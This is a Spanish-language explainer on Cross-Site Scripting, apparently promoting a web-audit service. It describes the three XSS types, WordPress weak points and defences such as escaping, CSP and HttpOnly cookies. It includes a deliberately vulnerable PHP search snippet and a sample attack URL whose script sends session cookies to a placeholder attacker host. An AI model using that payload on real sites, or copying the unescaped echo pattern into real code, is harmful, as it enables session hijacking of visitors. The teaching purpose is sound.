XSS lleva en el OWASP Top 10 desde su primera edición, igual que la inyección SQL. La diferencia es que mientras SQLi ataca la base de datos, XSS ataca directamente a los usuarios que visitan tu web — y un WAF genérico o un plugin de seguridad de WordPress no lo elimina, solo reduce el ruido.
¿Qué es Cross-Site Scripting?
XSS es una vulnerabilidad que permite a un atacante inyectar código JavaScript en una página que luego se ejecuta en el navegador de otro usuario. No ataca al servidor: ataca a quien visita la web después del atacante.
Ocurre cuando una aplicación muestra datos de entrada (un comentario, un parámetro de búsqueda, el nombre de un producto en un formulario) sin escaparlos antes de insertarlos en el HTML de la página.
El ejemplo clásico: un buscador interno
Imagina un buscador que muestra el término buscado en la página de resultados, algo muy habitual en catálogos de producto o blogs:
// buscar.php $termino = $_GET['q']; echo "Resultados para: " . $termino;
Si alguien busca zapatillas, la página imprime Resultados para: zapatillas. Todo normal. Pero un atacante puede compartir un enlace como este:
https://tuweb.com/buscar.php?q=<script>document.location='https://atacante.com/robo?c='+document.cookie</script>
El navegador de cualquiera que haga clic en ese enlace ejecuta ese script como si fuera parte legítima de tu web. En este caso concreto, envía la cookie de sesión del usuario al servidor del atacante. Si esa cookie es la de sesión de un administrador logueado, el atacante acaba de robar acceso al panel sin necesitar contraseña.
Los tres tipos de XSS
El script viaja en la propia URL o en un parámetro del formulario, como el ejemplo del buscador. No queda guardado en ningún sitio: solo afecta a quien hace clic en el enlace malicioso. Es el más fácil de explotar mediante phishing dirigido.
El script queda guardado en la base de datos — en un comentario, una reseña de producto, un campo de perfil — y se ejecuta cada vez que cualquier visitante carga esa página. No requiere que la víctima haga clic en nada: basta con que visite una página normal de tu web. Es el más peligroso.
El fallo está en JavaScript del propio navegador, no en el servidor: código que lee location.hash o un parámetro y lo inyecta en el DOM con innerHTML sin sanitizarlo. Cada vez más común con el auge de frameworks JS mal configurados.
Por qué WordPress no lo tapa solo
WordPress escapa correctamente los campos del núcleo (título, contenido del post, comentarios pasan por wp_kses). El problema aparece en dos sitios muy concretos que un admin no controla directamente:
- →Plugins de terceros que añaden sus propios campos (formularios de contacto, reseñas, campos personalizados) sin escapar la salida.
- →Temas que imprimen directamente
$_GETo metadatos de usuario sin pasar poresc_html()oesc_attr(). - →Campos que aceptan HTML "para dar formato" (biografía de autor, comentarios con formato enriquecido) sin una lista blanca de etiquetas.
Un plugin de seguridad genérico añade una capa de detección de patrones conocidos, pero no revisa el código de cada plugin instalado. La única forma de saber si tu instalación concreta es vulnerable es auditar el código real que corre en tu web.
Por qué "escapar el HTML" no es tan simple como suena
1. Escapar la salida, no solo validar la entrada
Validar lo que entra (que un email tenga formato de email) no basta — hay que tratar también lo que se imprime en el HTML, justo antes de mostrarlo, y hacerlo en cada punto del código donde un dato del usuario llega a la página: el buscador, los comentarios, los campos de perfil, los parámetros que pasan por plugins de terceros. Basta con que se escape mal (o no se escape) en uno de esos puntos para que el resto no sirva de nada. En una web con unos pocos formularios es manejable a mano; en una con plugins, temas personalizados y varios años de código acumulado, encontrar todos los puntos sin revisar es, en la práctica, un trabajo de auditoría línea a línea.
2. Content Security Policy (CSP)
Una cabecera CSP le dice al navegador de qué orígenes puede cargar y ejecutar script, aunque el atacante consiga inyectar HTML — una segunda capa de defensa, no un sustituto del escapado correcto. El matiz es el mismo que con cualquier CSP: una política demasiado estricta rompe integraciones legítimas (analítica, chats, fuentes), y una demasiado permisiva no protege de nada. Ajustarla bien depende de qué scripts de terceros usa realmente tu web.
3. Cookies con flag HttpOnly
Marcar la cookie de sesión como HttpOnly impide que JavaScript pueda leerla, así que aunque haya un XSS activo en la página, el atacante no puede robar esa cookie concreta por esa vía. Es una mitigación — reduce el daño de un XSS que ya ha ocurrido, no evita que ocurra.
4. Listas blancas para campos con HTML permitido
Si un campo necesita aceptar cierto formato (negrita, enlaces — biografía de autor, comentarios con formato), la defensa correcta es una lista blanca de etiquetas y atributos permitidos, nunca una lista negra de lo prohibido: los atacantes siempre encuentran la variante que la lista negra no contempló.
Ninguna de estas cuatro capas sustituye a las demás, y todas fallan igual si se aplican a medias. Lo que encontramos en la mayoría de auditorías no es "cero protección" — es escapado correcto en el núcleo de WordPress y agujeros sin cubrir en el plugin de reseñas de hace tres años que nadie ha vuelto a mirar.
¿Sabes si tu web o tu WordPress tiene XSS activo?
Auditamos cada formulario, parámetro de URL y plugin de terceros en busca de XSS reflejado, almacenado y DOM-based. Informe con prueba de concepto y código de corrección real, no un escaneo automático genérico.
Ver auditoría web →